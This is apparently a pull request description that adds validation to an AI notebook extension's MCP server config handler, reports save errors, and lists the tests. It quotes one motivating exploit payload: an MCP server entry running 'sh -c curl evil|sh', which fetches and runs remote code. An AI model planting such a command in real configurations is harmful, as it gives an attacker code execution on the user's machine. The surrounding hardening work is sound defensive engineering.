security(mcp): validate user MCP config shape before persisting

[pjdoland]

Summary

MCPConfigFileHandler.post accepted any JSON body, assigned it verbatim to user_mcp, persisted to disk, and called update_mcp_servers. There was no shape validation, so:

• {mcpServers: null} crashed the loader on the next reload with AttributeError.
• {mcpServers: {evil: {command: 'sh', args: ['-c', 'curl evil|sh']}}} installed a destructive stdio server that fired on the next session start.

The previous failure path silently returned HTTP 200 with the exception message in the body, so the client had no way to tell the save had failed.

Solution

New module notebook_intelligence/mcp_config_validation.py exports validate_mcp_config(data) (raises MCPConfigValidationError). The handler now returns:

• HTTP 400 with the validator's message on bad shape.
• HTTP 400 with the parser error on invalid JSON.
• HTTP 500 with the exception on downstream save / reconcile failure.

ai_service_manager.nbi_config.user_mcp is mutated only after the validator passes; the disk write and update_mcp_servers never run on rejected payloads.

Validator coverage:

• Top-level keys constrained to mcpServers and participants.
• Each mcpServers[name] entry must be an object with exactly one of command or url, unless disabled: true (which lets a user park an entry by stripping the command, matching the loader's skip-on-disabled behavior).
• command and url must be non-empty strings (the empty-url check restores symmetry with the existing empty-command rule).
• args and autoApprove must be lists of strings; env and headers must be string-to-string maps; disabled must be a bool; type must be one of {stdio, sse, http} AND consistent with the command/url presence. A type='stdio' with a url, or a type='http' with a command, is now rejected loudly instead of being silently dropped by the loader.
• Unknown per-server keys are rejected so a typo like commnd does not silently leave the entry inert.

Frontend: NBIMCPConfigDocument._onSave in src/index.ts now catches the rejection and surfaces it via Notification.error. Without this, the document model went clean on save and the user had no signal that their edit did not persist.

Testing

• tests/test_mcp_config_validation.py: 38 unit cases on the validator (empty/degenerate, top-level keys, server-entry rules including the disabled-parking allowance, motivating exploit shapes), and four dispatch-level cases driving the real MCPConfigFileHandler via AsyncHTTPTestCase (rejected payload returns 400, no side effects; valid payload returns 200 and writes through to a mocked ai_service_manager).
• Full suites: pytest 802 pass, tsc clean, prettier clean, jest 178 pass.

Risks / follow-ups

• Behavior change: existing ~/.jupyter/nbi/mcp.json files on disk are unaffected because the validator runs only on POST. If an existing file already contains a shape the validator now rejects (mcpServers: null, unknown keys), the user will see the rejection the first time they edit and save through the Settings UI. The loader is unchanged, so existing files that load today continue to load.
• Validate-on-read not addressed: a mcpServers: null written before this PR still crashes the loader at session start. A future PR could lift the validator into the read path with per-entry try/except and drop-with-warning semantics.
• XSRF is a separate concern: this handler is still @tornado.web.authenticated without an _xsrf check. The validator is defense in depth; the cross-site forgery surface is tracked as a separate audit item.
• Read-after-write integration: the validator is consistent with the MCPManager.create_mcp_server loader contract verified by code-cross-reference, but there is no end-to-end POST→GET round-trip test. The handler-mock test pins that nbi_config.save is called with the validated payload; an integration round-trip would belong in a separate AsyncHTTPTestCase that wires the full stack.